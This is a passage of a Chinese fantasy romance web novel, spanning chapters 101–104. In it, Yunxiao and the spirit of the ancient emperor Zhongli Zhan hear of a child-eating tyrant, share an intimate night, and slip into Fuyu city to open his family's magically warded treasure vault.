“才不是!”那人反驳:“被送回来的,都是曦族和旖族还有人族的,能留下来的,全是湖族的,只有他们湖族自己人未曾犯过忌讳,你们不觉得奇怪吗?其他几族的难道都不懂规矩?” 喝多了的人连忙笑话对方:“定是圣仙保佑湖族呢!” 云绡听着,眉头都皱起来了,她看向钟离湛都不用问,钟离湛便朝她耸了一下肩。 看他干吗? 他都忘了! 不过钟离湛还是开口:“孤不吃小孩儿。” 云绡:“……” 顿了顿,他又认真道:“但我看过煮人,一锅人肉大半锅的血水,血沫黑红,据吃的人说,那是当世美味。” 云绡咂了一下嘴里的肉包子,忍了忍,没忍住,扭头吐了出来。 第102章 云绡干呕了几声,只吐出了些许酸水,钟离湛轻轻顺拍着她的后背,抿着嘴没出声。 毕竟要不是他方才的那句话,云绡也不会吐了。 云绡吐完酸水,胃里难受,手里半个冷包子实在吃不下,干脆放在空置的杯中。 她盘腿坐在靠窗边的榻上,拍了拍对面的位置。 钟离湛走到她的对面,二人还能听见楼下几人的交谈。 许是因为这些年世人将圣仙奉为神祗,故而不论那人怎么说,其余人都坚持认为一定是被赶回来的人触犯了忌讳这才疯了,回来后为了给自己找补才满口胡言。 天色已暗,太阳彻底落山,永安城华灯初上,楼下那桌最终不欢而散。 一声叹息,那人离开前喃喃低语:“怎么都不信我呢……” 寂静片刻,云绡问钟离湛:“你之前说,你见过有人煮人吃,是在什么地方见的?” 钟离湛道:“很多时候,在五帝尚且在世之时便已经有人如此了。” 五 帝在位之时,世道混乱,五族仍是苍穹神明棋局上的一粒棋子,所有战争的背后都有一只无形的推手,每一次持续数年的战乱,也不过是他们棋局上的进一步或退一步。 那个时候的人连树皮都啃完了,饿极了便易子而食。因战而死的人太多,很多人就去战场上捡尸体回来,一天吃一块肉,保持自己能够活下去。 彼时的人族里发生了一件事,也正是因为这件事才致使后来的人族帝王失了民心,钟离湛斩断人族帝王头颅时,围绕着他的是百姓的欢呼,他们觉得自己终于得到了解脱。 云绡问他:“那件事和吃人有关吗?” 钟离湛目色沉沉,声音沙哑道:“彼时人分五族,你也知道那不过是云上睥睨者的游戏,他们赐予了人族以外的四族特殊的力量,让他们与人族战斗,看哪个族人更勇猛聪慧,哪个族人杀的人更多。” “当时的人族帝王不甘自己的领地被侵犯,不甘自己的子民被屠杀,他原本也不是恶人,虽无建树,可他至少爱惜自己的国家……可世道让他心生恨意,恨其余四族,也恨苍天。他不知为何命运待他如此不公,为何其余四族皆有神力,唯独人族被侵害,成了刀下鱼肉。” “所以他做了一件叫世人意想不到的事,不知哪个妖道说,吃了童男童女便可长生不老,他信了,他也就那么做了。” 本来人族的帝王颇得民心,可他在无数次被掠夺和战败的痛苦中逐渐扭曲了心性,他变成了和其他四族一样的人,他将自己手里的权利和尖刀对准了自己的子民。 他不是钟离湛杀死的第一个帝王,在他之前,其他四族主动挑起战争,杀伤掠夺恶事做尽,所以钟离湛也杀了其中冲得最快,行恶最多的湖族帝王。 钟离湛杀死湖族帝王之后,他的名声便被传出去了。 后来他找上人族帝王时,对方端坐在王座上,看见钟离湛也一点都不意外。 他的面前放着精致的餐盘,餐盘里盛着各种肉食和汤类,他看向钟离湛脸上没有多余的表情,心平气和地说了句:“请让我吃完最后一餐。” 钟离湛一眼就能分辨他面前餐盘里的是什么。 人族帝王道:“孤一定是这世上最可笑的帝王了吧?本一心为民,可却成了残害子民的暴君,可是孤也不想的,孤也不想的!孤只是……实在没有其他办法了。” 但凡他有可以与其他族人抗衡的力量,他也不会出此下策,听信那妖道的谗言,相信吃童男童女可以长生不老,甚至拥有无上的力量。 那妖道说,世间生灵皆有魂有炁,而这战乱的世道早就将天下搅弄得浑浊不堪,此间没有灵炁可以给他所用了。唯有孩童带着灵炁而生,他们尚未被世间污染,他们的魂魄和身躯都是这世上最纯澈干净的存在。 只有吃了他们,那些灵炁就能让他也拥有和其余四族抗衡的力量。 人族帝王吃下第一个孩子时,他是流着泪,忍着恶心吞下去的,那时他夜夜噩梦,饱受煎熬,每日都在痛恨自己的无能。 可后来败仗噩耗连连传来,他就觉得是自己吃的孩子不够多才没有练就特殊的力量。他安慰自己这是为了保护更多的子民,待他打退了敌军,便是要他项上人头他也甘愿请罪。 世事不如他所愿,妖道所说的话本就是假的,吃孩童不会让他拥有无上的力量,可他在寸草不生的王宫中日日以血肉为食,早就离不开人肉了。 “这世上没有比人肉更好吃的东西了。” 人族帝王的眼中浑浊又癫狂,他嗅着面前早就已经冷了凝结着油脂的食物,仍然觉得从餐盘中飘出来的香味让他沉迷其中。 “腿肉炖煮,手足酱烧,内脏干炒,你知道吗?钟离湛,孩子身上的脆骨尤其多,每一口咬下去都——” 他的疯话没能说完,便被钟离湛一剑斩下了头颅。 在那座王宫后方还有一口巨大的锅,锅下旺火燃烧,锅中血水沸腾,钟离湛看见那样的画面满心凄凉痛恨。 他也痛恨世道,痛恨五族为了争夺些许资源便将世人迫害成连蝼蚁都不如。 当时的钟离湛没有找到让五族争战不休的原因,他只想迫切地打破这一切,哪怕他以身入局,哪怕他去做那当世第一人,至少不能再让邪恶残暴之徒拥有掌控他人生死的无上权力。 于是,便有了后来的照国。 照,为旭日当空,驱散这世间所有阴霾,普天之下,目之所急,皆为朗朗。 那是钟离湛心中所愿,亦是他毕生所求。 - 云绡握住了钟离湛的手,她借着烛火去看钟离湛的眼,火光照不见他眼底晦涩的情绪,可云绡仍然能通过他的体温感知到他心中怅然。 如果他没死,他一定如同那个小尾人说的一样,是这天下最好的君上。 可他仍然死于非命,更在死后背负无数诬陷和骂名,还有人说他为了成神,烹煮孩童,吃人肉,将那人族帝王曾经走过的路、行过的恶,加诸在他的身上。 “钟离湛。”云绡的手肘撑在榻上的小桌面上,身子前倾。 她唤了钟离湛,钟离湛便抬头看他。 烛火跳动,窗外的细风不知带来何处的花香,缠绕在二人的呼吸之间。 云绡轻轻吻了一下他的唇,不含情、欲,只是为了安抚他的心绪。一下又一下的啄吻,让他不要再去想那些早已过去了的不开心的事情。 钟离湛被她这亲一下躲一下,亲一下又躲一下的举动弄得哭笑不得。 心中升起的痒意愈发难耐,不满足于云绡的啄吻,于是他伸手按住了云绡的后脑不许她再躲开,微启唇用力地吻上了云绡。 钟离湛吻得很深,深到他的睫毛能扫过云绡的眼睑,他们的鼻梁彼此磨蹭,心跳声加速,呼吸声愈发地粗沉。 云绡无法喘息,只能吞咽,忽而察觉到嘴唇一痛,钟离湛咬了她一下。 他咬得不重,只在云绡的下唇留下了个浅浅的牙印,可云绡已经很久没痛过了,所以这一咬尤为令她震惊。 唇齿暂分,钟离湛看着她水润的嘴唇通红,还有自己刚才咬出的痕迹,没忍住又凑近,舔了一下她唇下牙印。 云绡的脸霎时间通红。 她连呼吸都暂时忘了,有些意外地望着近在咫尺的人。 之前钟离湛便是与她亲吻也都是克制着的,他的吻很温柔,照顾着云绡的感受,即便是那样对待她,也是听着她的声音或急或缓。 他是顺着云绡来的,以至于云绡其实好几次都以为他不会在这种事情上表现得急切或凶狠。 可此刻钟离湛的眼中欲色未消,如同野兽般盯着她,在云绡懵神的状态下又舔了一下她的唇,云绡这才回过神来。 她的心跳很快,像是将漫天星辰都装进了眼里,双眸亮晶晶地看着他。 钟离湛微怔,这次轮到他觉得自己成了云绡的猎物。 云绡抓着他的手,有些兴奋道:“我喜欢!” 钟离湛一窒,问她:“喜欢我咬你?” “嗯嗯!”云绡连连点头:“又不疼,但是你凶起来真好看!” 钟离湛:“……” 钟离湛被她说得心口发烫。 云绡抬着下巴朝他撅嘴,眼神示意再他再亲一下。 钟离湛温和地亲了一口,云绡不满足。 她完全忘记自己亲吻钟离湛的本意是想要安慰他,结果一高兴便开始缠着他要索吻,把这两天在路途上耽搁的都要于今天弥补回来。 少女钻到了他的怀中,钟离湛掐住云绡的腰不敢让她往下坐,他伸手指了指还开着的窗户道:“大庭广众,成何体统?” 窗户对着城中河对面的街道,依稀可以看见灯火下行走的旅人,对面酒楼旁的摊贩传来叫卖声,热闹的烟火气,比他们一路经过的所有城池都要宁和。 廊棚上还攀爬着不知名的花儿,花朵于夜风中颤颤,和街景融合在一起,钟离湛也只来得及多看一眼,窗户就被云绡关上了。 云绡的眼里没有那些,她目光灼灼地看着钟离湛,竖起两根手指道:“再咬两下!” 钟离湛又非圣贤,心爱的女子娇滴滴地缠着他求欢,他若再不为所动不是身体有问题就是脑子有问题了。 邪肆的狐狸眼眯成了危险的弧度,钟离湛眉目含笑,凑上前去:“你自找的。” 烛火透过窗棂,暖光朦胧,云绡一连发出了好几声“哎哟”。 床榻上,少女裹着被褥蹙眉气哼哼地背过身去,她的双手还交叉地护在胸前,打定主意至少今天晚上不理钟离湛了! 钟离湛嘴角难压,走上前问:“不是你自己要我咬的?” 云绡嗔道:“我又没要你咬……”她低头瞥了一眼凌乱的前襟,委屈道:“可疼了!” 钟离湛挑眉:“我没太用力,现在估计牙印都消了吧?” 云绡其实也已经不疼了,可她仍然有些羞 耻于她都等着钟离湛来亲了,结果他就真的就在她身上咬了几口。 在装模做样这一块,云绡得心应手,只一眨眼她的眼眶立刻就湿润了。 钟离湛看她垂着头不说话,心下一跳,半蹲于床前问:“真的还疼?我不知道……” 女孩子身上到处都是软软的,他之前咬云绡肩膀的时候她没喊疼,这回喊疼,是不是也与她那处还在生长的原因有关? “给我看看。”钟离湛就要动手。 一抬眸就看见云绡憋不住笑意,她眼泪还半挂在睫毛上呢,嘴角就如同抽搐一样抿了几下。 云绡又气了,这回她是气自己居然在钟离湛的面前装不了一点,演技都退步了。 云绡干脆不装了:“亲一下就不疼了。” 钟离湛失声一笑,他认真地吻了云绡,而后又问:“要不要哥哥抱着你睡?” “好!” 云绡心情转好,拉过钟离湛的手臂便卧在他的怀中。 钟离湛如同哄孩子似的轻轻拍着她的后背,云绡睡着前,声音低哑,含含糊糊地说了句:“我好喜欢你啊,钟离湛。” 钟离湛不知她是否能听见,温声回道:“我也好爱你,小仙女。” 第103章 云绡几人只在永安城度过一夜,次日便由仲卿以梁家木令联系了最早的一班过江船,载着他们渡霖江去东洲。 东洲在霖江边也有码头。 那条霖江有一部分在湖族的领地中,所以船舶的最终点是湖族的金水城,金水城由湖族陆家管辖,而此次负责东洲月坛盖建圣仙水生像的,就是陆家。 船舶去金水城前会经过东洲暂靠,顺水而下,中间停靠了两次,每次两刻左右便驶离码头,天黑之前船只到达了东洲。 东洲码头距离符玉城还有很长一段路,不过靠近码头的地方也有几个村落,村庄里的人倚靠着江上捕鱼和在码头附近设立茶棚售卖货物吃食的小摊生存。 云绡几人下船的时候便能看见不远处集中的摊贩,其中有两个飘着热腾腾的烟,一个是面摊,一个是卖馄饨的,还有一些是卖干粮饼的。 仲卿率先过去问了价格,一摸口袋,他们也能吃得起,便招呼着云绡坐下来。 徐容靳问他:“怎么这会儿你的木令不好使了?” “木令只对经商者好使,这些都是小老百姓自己支的摊,他们可能连梁家都没听过,又怎么会卖木令的面子。”仲卿说完,犹豫了会儿又对云绡道:“我方才和摊主打听了消息,现下符玉城可能不太好进。” 云绡吃了口馄饨,静静地听他说着。 仲卿解释:“显帝在位时将东洲月坛划入了湖族的地界,本来湖族是打算将整个东洲都要过去的,不过因为曦族不同意,便退而求其次只要了月坛。” 月坛位于望月山巅,而望月山极高,山脉也广,占据了东洲几乎一半地界,湖族说是只将月坛要过去,实际上是连同整个望月山脉都占据了。 如今见曦族好说话,陆家便以他们是为了给圣仙修建水生像造福苍生的理由住进了符玉城,符玉城多年不曾有人管理,陆家入住之后便让府卫驻在城门前看守。 仲卿叹息:“就连这些东洲百姓自己想拿些货物去符玉城中售卖都要经过层层盘查,我一个数十年不曾回过湖族,又在京都那边挂了弑君罪名的,便是有梁家木令恐怕也不好浑水摸鱼了。” 云绡嗯了声,不太在意符玉城外是否有看守,大不了他们不用正当方式进城。 仲卿也知道他们有符咒,只是这打听来的消息还是要说出来,主要说给钟离湛听,毕竟那是东洲,钟离家老宅就在符玉城中。 - 吃完馄饨,云绡便趁着夜色带仲卿二人一并往符玉城赶。 云绡本来是没打算带仲卿进城的,毕竟人多就容易暴露,不过想到如今找理由控制符玉城的是湖族的陆家人,云绡想着还是带上仲卿好。 至少仲卿是湖族的,对陆家人也更了解,她和钟离湛去钟离氏的老宅,仲卿和徐容靳还可以侧面打探一番陆家占据符玉城的真正原因。 抵达符玉城外已经过了子夜,城门紧闭,但从开了一条缝的侧门瞧去,也能看见有人靠在门后休息。 钟离湛见她打算用隐身符,抬头朝符玉城上方看了一眼,道:“不可,我之前在城门石上刻下符文,隐身符过城门下照影石,仍然会被发现。” 云绡一时沉默,她幽怨地朝钟离湛看去一眼。 “那现在怎么办?” 谁能想到当初钟离湛用来防外人的东西,最终会防着他自己。 钟离湛也有些失笑,他伸手指了指城墙顶上道:“城墙上方的城垛上虽然也刻了符,不过只有一些简单的符文。而且符玉城早就没了城主,这么多年过去,城墙上方恐怕也没人去查修过,更别说加深符文,日积月累的风吹日晒,符文可能已经损伤了。” “我们上去看看,左右城墙上方没有陆家人,现在又是深夜,即便符文还在也没太大关系,将之破坏了就好。” 钟离湛说完,云绡点头,也只能这样。 仲卿看不见钟离湛也听不见他的话,徐容靳就一直伏在他的耳边给他转述。 几人贴上云绡给的御风符上了符玉城的城墙上,脚踏实地之后,仲卿面对着眼前看见的一时愣怔住,徐容靳动都不敢动了。 别说他们,就是云绡也站定原地,满眼惊讶地看向钟离湛,眼神示意脚下。 那眼神仿佛在问:这就是你说的一些简单符文? 他们所在的地方,从城垛为起始,脚踩的每一块砖上都有符文,砖与砖间紧实无缝,形成了一整片符文拼凑的巨大画卷。 刀刻斧凿的符文深深浅浅,的确如同钟离湛所说的因为风吹日晒而有不同程度的受损。可显然当时在这里刻下符文的人对符玉城有很深的感情,故而符文极深,哪怕过去了两千多年也仍然有效。 云绡他们才一落脚,身上的御风符就化作尘烟了。 钟离湛看向城墙上方满目的符文,也有些愣怔住了,很显然他也没料到一点。 云绡见他失神,有话要问,不过那边徐容靳率先开口。 徐容靳的声音压低又焦急无奈:“义父,你快站起来,这样趴在地上像什么样子?” 云绡视线环顾一圈没看见仲卿,还是听见徐容靳的话这才低头看去。而后便看见仲卿趴跪在地上,双手仔细地抚摸着石块上雕刻的符文,口中直喃喃:“妙哉,绝哉!符中有阵,阵中画符!” 他抬头朝云绡露出一笑:“哎嘿嘿,真不愧是曦帝故土。” 云绡:“……” 她简直没眼看了。 徐容靳也不想看了:“我们快走吧,这么高的地方又迎着月光,很容易就被人发现的。” 他说的是实话。 徐容靳为了安全起见,还是召了几只鸟雀在符玉城各条街道上空盘旋,当做他们的眼,盯着符玉城中属于陆家的巡逻府卫。 有徐容靳的眼睛在,云绡顺着巷子街角走到钟离氏的老宅也避免了很多麻烦。 陆家虽然打着要修建圣仙像的理由住进了符玉城,还带着那么多府卫暂且控制住了符玉城,可他毕竟是湖族世家,陆家又有个人是湖族古殿里的长老,符玉城里的百姓对他们还是多有忌惮的。 所以陆家人只敢入住城主府,还没将手伸到钟离氏的老宅来。 钟离氏在钟离湛出生之前便是东洲世家,将东洲绝大部分的资源都握在手里。即便后来钟离湛死了,钟离氏没落,符玉城也易主,钟离氏当初的底蕴和钟离湛给五族的威慑仍在。 这些威慑不论威名还是恶名,至少保全了后来的钟离氏。 以至于谢尧钰的母亲不过是一介孤女,却也没人敢真的打钟离氏的主意。也是谢尧钰的母亲死后,那些钟离氏旁支的旁支几乎没有血缘关系但曾在一个族谱上的子弟才敢来找麻烦。 钟离湛不知道自己死后符玉城里发生了什么,但他记得自己死时,他的爹娘犹在。 曦族人的寿命长达千年,钟离湛的爹娘也只比他大几十岁而已,他最后一次来到东洲时看见他们,他们仍然是年轻模样。 彼时他们眉头紧锁,看向钟离湛的眼神与他当初不过才是一个小小少年却要执剑闯荡江湖去平这世间不公时,他们看来的一模一样。 那个时候的符玉城很繁华,因为那是曦帝祖籍,是他的故土。 如今月色下的符玉城一片萧索,随风飘落在街角的枯叶也没人清扫,城池还是那个城池,可街道两旁的屋子早就改头换面,唯一不变的,也只有不断缩减的钟离氏老宅。 钟离氏曾家大业大,符玉城里的一大半都属于钟离氏的宅院。老宅住嫡系,二 房,三房包括一些旁支表亲等,都围绕着老宅盖院,每个院子之间都有门可以互通。 如同钟离湛曾告诉云绡的,他过去生活在一个富饶的,安逸的,团结的大家庭里,可他仍然是家中最叛逆,一身反骨离家出走的异类。 偌大钟离氏,到最后也只剩下一所老宅。 站在钟离氏的老宅门前,钟离湛抬头看向不知重新修建过多少次的门庭,心里一时百感交集。 穿门而过,久远的记忆伴随着这间老宅里仅存的一丝熟悉气息如同染色的画卷,随着他踏入的每一步,穿越蒙尘的时空,渐渐鲜活了起来。 纵使老宅变了很多,可有些布局仍然维持了当年的模样。 钟离湛顺着记忆往里走,有那么一瞬间他已然忘了自己身边还有个云绡……儿时奔过长廊,他手里拿着一把木剑,和他父亲手里的折扇对打,边打边喊“替天行道”,打得他爹“节节败退”,还要夸他一句“阿湛真厉害”。 旧时画面就在前面那条廊下走远,长廊转弯的弧度都和过去一模一样,钟离湛记得他父亲的教诲,他说要他永远都记得要做一个替天行道的正直的人。 长廊尽头的假山下,他曾在那里烤了他父亲养了三年的鱼。 年久失修已经不能住人的楼阁,那里曾是他父亲作画,母亲抚琴的地方。 他的祖父在芙蓉苑内教他舞剑。 他的祖母也总是跟在他的身后生怕他摔了,碰了。 而祖父那时就会说:“让他跑,摔了就摔了,难道还要像他爹一样当个肩不能扛手不能提的弱质文人吗?” 祖父说他们钟离祖上也是当过大将军的,历代从戎,只出他父亲这一朵奇葩,每天拿把扇子扇风,打一眼看过去就知是蠢货。 他说这话时没避开过钟离湛的父亲,他父亲便会长叹一声,而后找他母亲求安慰。 那些已经很久没有被钟离湛想起来的画面,那些他以为自己早就忘了的记忆,皆褪去斑驳,在老宅的各个角落里重现。 钟离湛也有过天真无畏的童年,他是在父母的爱意和期盼中长大的。 他是钟离氏嫡系唯一的孩子,可见钟离湛曾拥有乱世中得天独厚的身份地位,或许就是因为他什么都拥有了,才会无畏地去面向不公的世道。 云绡见钟离湛已经在一个地方站了好一会儿了,这才晃着他的手问:“你是睹物思人,想到了什么吗?” 钟离湛深吸一口气,他突然转身将云绡搂在怀中,他需要一个拥抱。 沉闷的一声嗯从云绡的肩窝里发出。 云绡的手轻轻抚顺着他的后背,问他:“那要不要跟我说说呢?” 钟离湛道:“城门前的照影石是我所绘,但城墙上的符文不是我刻的……我依稀记得当时有什么要事即将发生,恐怕会超出我的控制,所以我回了东洲一趟,将我给符玉城设的符阵图交给了父亲。他并不理解我的选择和作为,就像我少时离家出走,他也觉得我是不知人间疾苦痴人说梦,是天真过头的疯了。” “他当时很严厉地指责我,说我一切所作所为都是在支离钟离氏,致使旁支敌对,兄弟阋墙。因为我成了曦帝,不顾情面,对钟离氏的伤害已然将钟离氏逼成了曦族的众矢之的。”钟离湛道:“他们给予了我一切,我并没有回报他们,所以我想为他们规避危险。” 那张符阵图纸,能最大程度地保护符玉城,城墙不破,城门不倒,水火不侵,妖邪现形,这是他能给符玉城,给钟离氏最大的保护。 可他记得当时他父亲说:“你以为这轻飘飘的一张纸就能让我们理解你,原谅你吗?!” 钟离湛彼时说的是:“不求原谅,只求心安。” 当时父亲撕碎了他给的符阵图,钟离湛离开了符玉城。 时隔两千多年,他再一次回到符玉城,第一眼便看见了他当初为符玉城画下的符阵图,全都完好无错地落在城墙上的每一块砖上。 心中酸涩,震撼,好像自他向自己认为公正的道路上行走的每一天,都在远离他的家庭,和爱他的亲人,他没有后悔过,只是有些遗憾。 遗憾彼时作别,匆匆挥手,他看见了父亲眼底的憎,看见了母亲满心的愁,唯独没有正视过他们的爱,也没有将他心中对亲族的感情,以正确的方式传达出来。 第104章 越过了两千余年的感情,即便此时心中再澎湃,钟离湛也能在几次深呼吸之后将之按捺。 就像云绡说的,他是触景生情,睹物思人,但这不代表他过去所做的一切都是错的,人生总有舍与得。 即便他只是一个人族,生于寻常百姓家,生在一个和平的安宁的年代里。过了弱冠之年,他也仍然要成家立业,为之奔波,离开父母的羽翼,离开生他养他的地方。 钟离湛舍不得云绡身上的香味,但他也的确不能再沉湎于早就消散的过去。 钟离氏的老宅里有许多他过去的经历与记忆,也让他想起了一些曾经没想起来的,模糊的画面变得清晰。 钟离湛松开了云绡,牵着她的手大步往前走道:“我带你去一个地方。” 云绡知道他这是从情绪中缓过来了,只是没想到他缓得这么快,且方才还有些哀愁的人,眼下渐渐松懈了起来,拉着她走路的步伐都很快。 云绡问他:“去哪儿啊?” 钟离湛回答:“很快就到。” 的确很快就到。 若钟离氏的老宅还是过去的老宅,连通着旁支表亲的宅院,无数围竖的高墙仍在,钟离湛想要找到那个地方恐怕还得费些功夫,毕竟那是他儿时记忆,自离开东洲后就再也没有来过了。 可现在钟离氏的老宅院落就那么几间,古朴的楼阁年久失修,即便后人极力维护,却也仍然有坍塌的风险。 钟离氏的后人们将那里用黄符围绕,保持了它们屹立不倒,却也没人再能靠近。 钟离湛顺着被黄符护着的古院,牵着云绡走过两处宽院又过了一个干涸的池子,越过九曲桥到了屿上楼阁前,这才停下。 钟离湛松开云绡的手,围着楼阁转了一圈,他没破坏外面维持楼阁的黄符,而是去看那楼阁下石块堆积的阵法,和阵下画的咒文是否还在。 确定了一切如旧,钟离湛才笑道:“无人破阵,便说明这底下藏着的东西都还在。” 云绡率先反应了过来:“你说你在东洲老宅藏着的东西,就在这儿呢?” 钟离湛一愣,有些尴尬地摸了一下耳垂,眨巴眨巴眼道:“不是那个,那个我想不起来了……我说藏在这儿的,是钟离氏的宝库,你不记得了?之前我说过,若它还在,我就都送给你。” 云绡的眼睛蹭一下就亮了起来。 这世上谁人不爱钱财啊? 她和仲卿一路从京都逃到东洲来,路上基本靠打猎为生,口袋里的银钱根本不经用,途中也不知买过多少回马。 回回买,回回丢。 云绡从小就没得过什么好东西,她没想到这破败的楼阁底下还藏着钟离氏的宝库。即便里面的东西不多,可那也是两千多年前的古董了,随便两样都能卖出高价,她还愁日后吃不起饭,住不起客栈? “那还等什么?!”云绡急匆匆地朝阁楼踏足:“快快,都快给我拿出来。” 云绡对阵咒结合的禁制不熟悉,她只顾忌着避开黄符,一脚踏进去却陷入阵咒之中,脚下瞬间空了,失重感袭来,如同掉进了深坑。 钟离湛不过一个眨眼,因贪财露出可爱表情的心爱女子突然就从眼前消失了,他只来得及哎一声,与云绡之间不超过十步距离的禁制生效,也将他一并拉入了阵咒里。 噗通—— 云绡的眼睛睁不开,呼吸间呛了不少水,她像是不断往深水处沉去,手脚并用地划着,急迫地想要回到岸上。 她不会游水! 炽热的手臂揽住了云绡的腰身,几道结印从她身边打了出去,暗金色的光芒在深水里照亮了水中前路。 云绡终于能睁开眼了,眼前所见的便是一座与岸上一模一样的楼阁。 口中滚出几口气泡,云绡扯着钟离湛的手臂愈发用力,钟离湛也像是才发现她居然不会游水,有些无奈地戳了一下难得咋呼的云绡的额头,便拉着她的手朝水中楼阁游去。 云绡还是能闭一会儿气的,有钟离湛在前头拉着,那股濒死的窒息感也不是不能忍受了。 云绡仔细观察周围,发现他们处于水中,楼阁倒转,就像是掉进了湖面倒映的影子里。 好奇心驱散慌张,心也渐渐安定下来。 方才是因为云绡知晓自己一旦孤身入水就只有被淹死,她还以为是她触碰了什么禁制,会与钟离湛分开,眼下钟离湛就在身边,恐惧消退,呛水的感觉似乎也没了。 云绡试探地再吸了一口气,结果又像是吸了一鼻腔的水,她痛苦地将脸皱起来。 钟离湛看她那傻乎乎的样子:“……” 游至楼阁前,钟离湛推门而入。 一切景象顺序旋转,云绡只觉得画面让她有片刻眩晕,湖水退去,窒息感也随之一并退去,前一刻她还在水中沉浮,此刻已然站在了地面了。 楼阁大门还敞开着,云绡惊异地回头看了一眼,发现门外仍然是静谧的湖水,粼粼波光被什么挡在了门外。 钟离湛看她还抿着嘴,摆明了还在憋气,没忍住笑出了声,伸手捏了一下云绡的鼻子道:“傻不傻啊?呼吸。” 云绡信任他,在他的手松开了自己的鼻子后,云绡便能正常呼吸了。 她万分惊异,连忙问:“这是什么?!” “这是我六岁时在家中摆弄的阵咒。”钟离湛道:“这间楼阁之下的小屿本就是中空的,地下暗室内都是钟离氏于战乱时期寻来的珍宝。祖父说,最初祖上藏匿这些是不忍精工宝器被破坏成为碎石,但钟离氏在后来仍然没有断了这一行为,所以……” 他后面的话没说,云绡也知道。 到底是不忍宝器蒙尘或被破坏,还是趁乱藏宝,为子孙后代积藏家业,也就仅凭一张嘴去说了。 “有一次我与几个表兄在楼阁玩耍,无意间入了楼阁下的暗室,便拿着里头的东西往水里丢,比赛看谁丢得更远,被家中长辈发现了……”钟离湛笑了笑:“祖父和父亲连番教育,告诉我这楼阁里的东西不许碰不许拿,也不可带旁人进入。我当时年幼心气高,心道不让别人进入,不许别人碰和拿走还不简单?而后便在这楼阁周围设下阵咒禁制。” “凡是私入者,皆会掉进水中倒影里,进入幻象。外头的水不是水,你若将它当成水,那它也能淹死你。”钟离湛对云绡道:“你若不认为它是水,它就可以是其他任何东西。” 云绡闻言,那双眼如坠星海,看着钟离湛的目光都变得软绵绵又亮晶晶的,她不吝夸赞,忍不住凑上前:“你好厉害!才六岁就能设下这样的阵咒禁制了。” 钟离湛嘴角翘起,眉尾微挑,似是满不在乎道:“随手弄来玩儿的,当时也只是为了赌一口气。” 云绡拽着他的胳膊,水润的嘴唇一嘟:“这么厉害的阵咒,你怎么没教过我?!” 钟离湛:“……” 方才还满是崇拜爱慕的眼,此刻已经用来瞪人了。 钟离湛哭笑不得:“教,出去就教,但你现在要不要去宝库看看?” 云绡原地高跳:“要!” - 楼阁从外看是倒影,踏入便像是走到了楼阁中央,钟离湛顺着儿时记忆的方位找到当时的入口,漆黑狭窄的通道尽头有微弱的光芒投来。 云绡被钟离湛牵着手,一步步往深处走,那黑暗中的光芒也越发明亮,直到她走到了另一个洞天福地。 云绡愣在原地,瞳孔剧颤,小嘴微微张着,完全一副呆滞的模样。 钟离湛看她这模样实在喜欢,俯身在云绡的脸上啄吻了一下,她的脑袋还随着啄吻的力度晃了晃。 啵地一声,叫云绡回神。 暗室不愧为暗室,除了柜子就是架子和箱子,墙壁只用药粉做了特殊处理,墙面都是凹凸不平的。 可那柜子内成片成片的玲珑器皿,架子上成块成块的金砖,箱子里成堆成堆的珠玉……便是凌国王宫里,云绡见显帝头上戴着的珠旒,也不及她眼前这堆放着光的一半好。 等等,哪儿来的光? 云绡的眼珠僵硬地在暗室里转了一圈,哦,找到了,角落里还有两箱子敞开的夜明珠呢哈哈哈。 钟离湛指着其中某个箱子道:“当时我与表兄就是从这里抓了一把珠子出去丢水里玩儿的。” 云绡的视线顺着他的手指方向转动,看到了一个四个她都抬不起来的巨大箱子里,装满了的圆润淡紫色的珍珠。 云绡:“……” 他爹娘祖父也只是骂了他,没打死他都是因为溺爱了。 钟离湛一看云绡那眼神,就知道她心里在想什么,他一开始真的没想到云绡居然会这么喜欢这些东西。 当初在他知道她就是小仙女后,钟离湛觉得自己好像什么也给不了她,所能给予的,也就只有这些俗气的身外之物了。 原以为,是他无可奈何之下退而求其次的赠与,眼下看来,似乎送到云绡心坎上了。 “真的这么喜欢啊?”钟离湛看她到现在都一言不发,那双眼睛看都看不过来似的去瞧箱子、柜子、架子。 云绡连连点头:“喜欢!很喜欢!非常喜欢!” 钟离湛双眸微眯:“那和我相比呢,你更喜欢哪一个?” 钟离湛还以为她会纠结一下,又或者说点儿好听的谎话哄他,却没想到云绡不暇思索道:“当然是更喜欢你啊!这些都是你给我的,我喜欢的人,送给我、我喜欢的东西,我最最最最喜欢你了!” 钟离湛被她说得也快要原地高跳一下了。 他故意恍然道:“你看到那扇小门了没有?” 云绡顺着他的手指看去,点头。 钟离湛道:“那里还有一间暗室,里面放的都是大家伙,两人高的血珊瑚,纯玉雕刻的凤栖梧桐美人榻,蓝翡的屏风粉 珠霞衣啊什么的,那些你也喜欢吧?” 云绡:“!!!喜欢!!!” 随后她又立刻颓丧了起来:“可惜都带不走。” 东西太多了,她口袋就这么小,怎么装得下啊! 云绡走到箱子前,将钟离湛以前丢进水里玩儿的淡紫珍珠抓了一把放在荷包里,又摸了两块金条藏在怀中,这才转身对钟离湛道:“就这样吧,我们快去找你藏在老宅的重要东西。” 钟离湛看她如此克制,又有些心疼了。 低头看了看自己两袖清风,可恨他魂魄里怎么就不能也给她藏两块金砖呢! 云绡反倒过来安慰他:“没关系的,这里是你家嘛,我的宝贝藏在你家里,我很放心的。” “我的宝贝”这四个字,听得钟离湛心里很不爽,怎么就成宝贝了?这些身外之物也能被叫宝贝了? “宝贝……”钟离湛嘴唇抿了抿,语调颇有些阴阳怪气:“呵,宝贝。” 云绡:“……” 他声音很小,但在寂静的暗室里还是很明显的啊! - 出了楼阁外的阵咒禁制,云绡又站回了黄符围护之外,她伸手摸了一把自己的荷包和怀抱,确定的确带了东西出来了,这才放心方才不是她的幻觉。 毕竟钟离湛富到可以买下十个凌国也不止了。 钟离湛见她手还捏在荷包上,也没来牵自己了,故意道:“怎么?怕你的宝贝丢了啊?” 云绡一把握着钟离湛的手,笑盈盈地看着他:“对啊,我这么大个宝贝可千万不能丢了,要牵着才放心呢~” 钟离湛一愣,耳廓刹时红了,狐狸眼连续眨了好几下,胸腔紊乱的跳动仍然未能平静。 云绡见他还是那么好哄,笑容更深:“哥哥,要不要给这楼阁再下几个禁制?东西太多了,真叫人不放心啊!” 她话音才落,头顶上便传来了两声鸟叫。 云绡抬头看去,见一只乌鸦盘桓不去,她愣了瞬,钟离湛拉着她的手便绕道楼阁后方。 没一会儿,几道人影从九曲桥另一侧走过,寂夜里,交谈声清晰可闻。 